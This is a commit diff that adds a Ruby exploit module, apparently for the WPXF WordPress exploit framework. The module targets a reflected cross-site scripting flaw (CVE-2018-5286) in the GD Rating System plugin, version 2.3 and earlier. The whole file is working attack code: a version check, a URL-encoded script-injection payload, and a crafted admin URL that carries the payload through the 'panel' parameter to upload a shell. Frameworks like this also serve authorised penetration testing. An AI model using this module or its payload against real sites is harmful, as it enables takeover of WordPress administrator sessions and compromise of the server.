Add GD Rating System <= 2.3 reflected XSS shell upload

Author: rastating

modules/exploit/xss/reflected/gd_rating_system_xss_shell_upload.rb

@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::GdRatingSystemReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'GD Rating System <= 2.3 Reflected XSS Shell Upload',
+      author: [
+        'd4wner',   # Dislosure
+        'rastating' # WPXF module
+      ],
+      references: [
+        ['CVE', '2018-5286'],
+        ['WPVDB', '8995']
+      ],
+      date: 'Jan 08 2018'
+    )
+  end
+
+  def check
+    check_plugin_version_from_changelog('gd-rating-system', 'readme.txt', '2.4')
+  end
+
+  def xss_payload
+    url_encode("\"><script>#{xss_ascii_encoded_include_script}</script><!--")
+  end
+
+  def url_with_xss
+    "#{wordpress_url_admin_options}?page=gd-rating-system-information&panel=#{xss_payload}"
+  end
+end